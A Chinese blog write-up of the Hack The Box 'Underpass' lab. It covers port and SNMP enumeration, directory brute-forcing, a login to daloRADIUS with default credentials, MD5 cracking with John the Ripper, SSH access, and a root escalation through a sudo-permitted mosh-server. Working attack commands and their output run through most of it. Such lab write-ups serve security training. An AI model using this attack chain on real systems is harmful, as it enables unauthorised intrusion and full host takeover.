HTB Underpass 渗透测试详细记录

你是慕鸢呀~ 发布于 5 天前 4 次阅读 4663 字 预计阅读时间: 21 分钟


HTB Underpass 渗透测试详细记录

摘要

本文详细记录了对 HTB Underpass 的渗透测试过程。渗透测试从端口扫描开始,通过SNMP服务发现了关键信息,包括主机名和运行的服务。进一步探测发现目标运行daloRADIUS管理界面,通过破解获取的密码哈希值成功获取系统访问权限。最终利用mosh-server的sudo权限配置缺陷实现提权,获取完整系统控制权。

关键技术

  • 信息收集: SNMP枚举(SNMPv1/public社区字符串)
  • 目录枚举: Feroxbuster, Dirsearch扫描Web目录结构
  • 密码破解: John the Ripper破解MD5哈希
  • 权限提升: 利用sudo配置漏洞执行mosh-server提权

1. 初始侦察阶段

TCP端口扫描

首先执行快速TCP全端口扫描,使用min-rate参数提高扫描速度:

nmap -sT -min-rate 10000 -p- 10.10.11.48

参数说明:

  • -sT: 执行TCP连接扫描(全连接扫描)
  • -min-rate 10000: 设置最小发包速率为10000包/秒
  • -p-: 扫描所有65535个TCP端口

扫描结果显示两个开放端口:

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

详细服务信息扫描

对发现的开放端口进行详细信息扫描:

nmap -sT -sCV -O -p 22,80 10.10.11.48

参数说明:

  • -sCV: 组合参数,执行服务版本检测(-sV)和默认脚本扫描(-sC)
  • -O: 尝试识别目标操作系统
  • -p 22,80: 仅扫描这两个特定端口

扫描结果如下:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP端口扫描

完成TCP扫描后,执行UDP端口扫描:

nmap -sU -min-rate 10000 -p- 10.10.11.48

参数说明:

  • -sU: 执行UDP扫描
  • 其他参数同上

扫描结果显示开放的UDP端口:

PORT    STATE SERVICE
161/udp open  snmp

2. 服务探测与信息收集

Web服务初步探测

访问HTTP服务(80端口),发现是Apache默认页面。查看源代码未发现敏感信息。

目录枚举探测

使用feroxbuster进行目录枚举:

feroxbuster -u http://10.10.11.48 --methods GET,POST

参数说明:

  • -u http://10.10.11.48: 指定目标URL
  • --methods GET,POST: 同时使用GET和POST方法测试

此次枚举未发现有价值信息。

SNMP服务深入探测

对发现的SNMP服务进行深入探测:

nmap -sU -sCV -p 161 10.10.11.48

参数说明:

  • -sU: UDP扫描
  • -sCV: 服务版本和默认脚本
  • -p 161: 指定SNMP端口

结果揭示了关键信息:

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 31
|_  snmpEngineTime: 53m21s
| snmp-sysdescr: Linux underwaterfriendsunderpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 53m21.19s (320119 timeticks)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!

SNMP完整枚举

执行SNMP枚举获取完整系统信息:

snmpwalk -v 1 -c public 10.10.11.48 .

参数说明:

  • -v 1: 使用SNMPv1版本
  • -c public: 使用public社区字符串
  • .: 查询所有OID

从输出分析关键信息:

  1. 系统信息STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
    • 操作系统: Ubuntu Linux
    • 内核版本: 5.15.0-126-generic
    • 架构: x86_64 (64位)
    • 编译日期: 2024年11月6日 - 比较新的系统
  2. 管理员信息 STRING: "steve@underpass.htb"
    1. 用户名 stevesteve
    2. 域名 underpass.htb
  3. 系统标识 STRING: "UnDerPass.htb is the only daloradius server in the basin!"
    1. 运行服务: daloRADIUS (RADIUS管理界面)
    2. 系统可能有Web服务接口
  4. 位置信息STRING: "Nevada, U.S.A. but not Vegas"
    1. 运行在美国某个地方,虚构的
  5. 运行时间 Timeticks: (3430794) 9:31:47.94
    1. 已运行约9小时31分钟
  6. 启动参数 STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0"
    1. 使用LVM进行磁盘管理 (/dev/mapper/ubuntu--vg-ubuntu--lv)
    2. 使用了特定的网络接口命名配置 (net.ifnames=0 biosdevname=0)

高价值信息分析

  • 用户账户: steve - 可能是管理员用户
  • 域名: underpass.htb - 确定了Web服务的可能访问地址
  • 运行服务: daloRADIUS - 提供了具体的攻击目标
  • 系统细节: Ubuntu系统,LVM配置 - 可能帮助后续渗透测试的信息
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (3430794) 9:31:47.94
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (1) 0:00:00.01
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (3432229) 9:32:02.29
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 05 04 06 29 2E 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 268
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
End of MIB

3. 漏洞识别与初始访问

添加主机名解析

根据SNMP枚举获取的域名信息,添加hosts解析:

echo "10.10.11.48 UnDerPass.htb" >> /etc/hosts

再次进行目录爆破

feroxbuster -u http://underpass.htb --methods GET,POST

没有找到daloradius页面,尝试子域名爆破,也没有找到关键信息

ffuf -u http://10.10.11.48 -H "Host: FUZZ.underpass.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

在daloradius的github页面找到了可能的路径/var/www/daloradius, https://github.com/lirantal/daloradius/blob/master/Dockerfile

image-20250504171920906

针对性目录探测

基于daloRADIUS的信息,进行针对性目录探测:

feroxbuster -u http://underpass.htb/daloradius --methods GET,POST --no-recursion

发现多个有价值目录:

301      GET        9l       28w      319c http://underpass.htb/daloradius => http://underpass.htb/daloradius/
301      GET        9l       28w      323c http://underpass.htb/daloradius/app => http://underpass.htb/daloradius/app/
301      GET        9l       28w      329c http://underpass.htb/daloradius/app/users => http://underpass.htb/daloradius/app/users/
301      GET        9l       28w      333c http://underpass.htb/daloradius/app/operators => http://underpass.htb/daloradius/app/operators/

使用dirsearch进一步探测用户目录:

dirsearch -u "http://underpass.htb/daloradius/app/users/" -t 100

参数说明:

  • -u: 指定目标URL
  • -t 100: 使用100个线程

成功发现登录接口:

[18:28:35] 200 -    2KB - /daloradius/app/users/login.php

研究项目文档获取默认凭据

通过GitHub项目文档 (https://github.com/lirantal/daloradius/blob/master/doc/install/INSTALL) 找到默认凭据:

Login:
    username: administrator
    password: radius

在管理员登录界面 (http://underpass.htb/daloradius/app/operators/login.php) 使用默认凭据登录失败,继续爆破app目录。

feroxbuster -u http://underpass.htb/daloradius/app/ --methods GET,POST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

找到另一个登陆接口 http://underpass.htb/daloradius/app/operators/login.php

image-20250504190925998

使用上面的凭证登陆成功

image-20250504202024813

破解用户密码

在用户管理页面 (http://underpass.htb/daloradius/app/operators/mng-list-all.php) 发现用户密码的MD5哈希值: 412DD4759978ACFCC81DEAB01B382403

使用John the Ripper破解哈希:

echo '412DD4759978ACFCC81DEAB01B382403' >> md5
john md5 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

参数说明:

  • --wordlist=/usr/share/wordlists/rockyou.txt: 使用rockyou字典
  • --format=Raw-MD5: 指定哈希格式为Raw-MD5

成功破解密码:underwaterfriends

管理员界面显示用户密码哈希

4. 横向移动

SSH服务尝试

使用破解的密码尝试SSH登录:

ssh steve@underpass.htb     # 登录失败
ssh svcMosh@underpass.htb   # 登录成功

成功获取用户shell,读取user.txt:

svcMosh@underpass:~$ ls
user.txt
svcMosh@underpass:~$ cat user.txt
3faa2a7ba6203e6a*****************

5. 提权前的信息收集

检查sudo权限

检查当前用户可执行的sudo命令:

svcMosh@underpass:~$ sudo -l

结果显示:

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

用户svcMosh在系统上有一个非常具体的权限配置:

  1. 可以在不输入密码的情况下(NOPASSWD)以root权限运行/usr/bin/mosh-server命令
  2. 除此之外,没有其他命令被授权以root身份执行
  3. 系统配置了标准的安全设置(env_reset, mail_badpass等)

尝试mosh-server基本功能

执行mosh-server命令:

svcMosh@underpass:~$ /usr/bin/mosh-server
MOSH CONNECT 60001 LfCGtX7GBIri2oujNVbaTQ
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 5522]

根据信息在本地连接

MOSH_KEY=Gw7ewMV7nDOim148bh0TOA mosh --server="mosh-server" --port=60002 svcMosh@underpass.htb

但是得到的权限依旧是普通用户

svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)

尝试常规提权方法(尝试执行sudo -i切换到root用户,然后启动mosh-server):

sudo -i
/usr/bin/mosh-server new -- /bin/bash

尝试失败,输出如下:

[sudo] password for svcMosh: 
Sorry, user svcMosh is not allowed to execute '/bin/bash' as root on localhost.

这表明:

  1. 用户svcMosh没有权限通过sudo执行/bin/bash命令以root身份运行
  2. 这是一个重要的权限限制——svcMosh用户在 sudo 配置中被限制了可以执行的命令

尽管如此,mosh-server还是成功启动了,但是连接上去还是普通用户,继续尝试别的思路

6. 权限提升

利用mosh-server的sudo权限提权

构造创新命令:

svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost

成功获取root权限:

root@underpass:~# ls
root.txt
root@underpass:~# cat root.txt
60032bc*************************

提权原理解析

  1. 命令解析:
    • mosh 是客户端程序
    • --server="sudo /usr/bin/mosh-server" 指定了在远程主机上启动服务器的命令
    • localhost 是要连接的主机
  2. 提权机制:
    • 当命令被执行时,mosh客户端会通过SSH连接到localhost
    • 连接后,它会执行--server参数中指定的命令,即sudo /usr/bin/mosh-server
    • 由于 sudo 配置允许用户svcMosh在不输入密码的情况下以root权限运行/usr/bin/mosh-server,此命令被成功以root权限执行
    • mosh-server启动后会创建一个新的shell会话,由于它是以root权限启动的,所以这个shell会话也继承了root权限
  3. 关键点:
    • 通常mosh-server会降权运行,但通过在命令中添加sudo,强制它以root权限运行
    • 由于 sudo 配置允许您执行这个特定命令,系统认为这是一个授权操作
    • 这种方法绕过了之前尝试的sudo -i或直接获取bash的限制
  4. 为什么有效:
    • sudo 配置只检查您是否被允许运行/usr/bin/mosh-server,而不会分析该命令的参数或后续行为
    • mosh的设计是在远程主机上启动一个shell会话,当这个shell以root权限启动时,攻击者实际上获得了root 权限的shell

这种提权方法利用了:

  1. sudo 配置的特殊性(只允许运行特定命令)
  2. mosh客户端的--server参数功能(允许指定如何启动服务器)
  3. 权限传递机制(以root身份启动的进程会保持这些权限)

这是一个典型的"命令注入"或"权限升级"技术,它利用了被授权命令的灵活性来执行超出原始意图的操作。这也是为什么安全最佳实践建议在sudoers配置中尽可能具体地限制命令,包括其参数。

初学者如何理解这个命令

想象你有一把钥匙,这把钥匙只能打开学校的一个特定的门(比如图书馆的门),但你想进入校长办公室。

基本情况

首先,我们来了解一下背景:

  • 你是普通用户 svcMosh
  • 系统管理员只允许你用 sudo 运行一个特定的命令:/usr/bin/mosh-server
  • 你想获得 root(管理员)权限

命令的构造思路

  1. 观察你拥有的权限 你只能以 root 身份运行 mosh-server,但不能直接获得 root shell。这就像你只有图书馆的钥匙,但没有校长办公室的钥匙。

  2. 寻找工具的灵活性 Mosh 客户端有一个 --server 参数,它让你可以定义在远程主机上如何启动 mosh-server。这就像发现图书馆里有一条秘密通道可以通向校长办公室!

  3. 创造性地组合权限和工具

    通过命令

    mosh --server="sudo /usr/bin/mosh-server" localhost

    ,你做了这些事:

    • 连接到自己(localhost)
    • 让 mosh 在连接时执行 sudo /usr/bin/mosh-server
    • 因为你被允许以 root 身份运行这个命令,所以它成功了
    • 现在你有了一个以 root 身份运行的 shell!

为什么能成功?

这个技巧之所以有效,是因为:

  1. 规则的字面解释:系统只检查你是否能运行 /usr/bin/mosh-server,没有检查它的上下文
  2. 权限传递:以 root 权限启动的进程会保持这些权限
  3. 工具的设计意图:mosh 被设计为在远程主机上创建一个交互式会话,当你让它以 root 身份运行,你就获得了 root 会话

这就像利用"我可以进入图书馆"的权限,通过图书馆的秘密通道进入了校长办公室。你没有违反任何规则(你确实被允许使用那把钥匙),但你用它做了比原本设想更多的事情。

这种思维方式在安全测试和系统管理中非常重要:思考现有权限的创造性用途,以及它们如何相互作用来达成目标。

成功获取root权限

7. 总结

安全漏洞列表

  1. 信息泄露: SNMP服务使用默认community string (public),允许未授权枚举系统信息
  2. 凭据管理不当: 使用容易被破解的密码以及未更改默认管理员凭据
  3. 不安全的权限配置: sudoers配置允许特定用户以root权限运行特定程序,未限制参数

完整攻击链路图

  1. 侦察 → 发现开放端口(22/TCP, 80/TCP, 161/UDP)
  2. 枚举 → SNMP服务枚举获取主机名和服务信息
  3. 探测 → 发现daloRADIUS服务和登录界面
  4. 利用 → 使用默认凭据登录管理界面
  5. 横向移动 → 破解用户密码并SSH登录
  6. 权限提升 → 利用mosh-server的sudo权限获取root权限

攻击向量简明展示

端口扫描 → SNMP枚举 → 发现daloRADIUS → 使用默认凭据 → 获取密码哈希 → 破解密码 → SSH登录 → 利用sudo权限 → 获取root

各阶段关键点总结

  1. 侦察阶段: 全面的端口扫描(TCP+UDP)是发现关键入口点的基础
  2. 信息收集: SNMP服务配置不当导致关键信息泄露
  3. 漏洞利用: 使用默认凭据的风险以及密码强度不足的问题
  4. 权限提升: 创造性地利用sudoers配置的命令参数注入问题

结束语

本次渗透测试展示了我如何通过多个中低风险漏洞的组合,最终获取目标系统的完全控制权。关键在于创造性地利用获取的信息和现有权限,尤其是在提权阶段对sudo配置的巧妙利用。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-05-04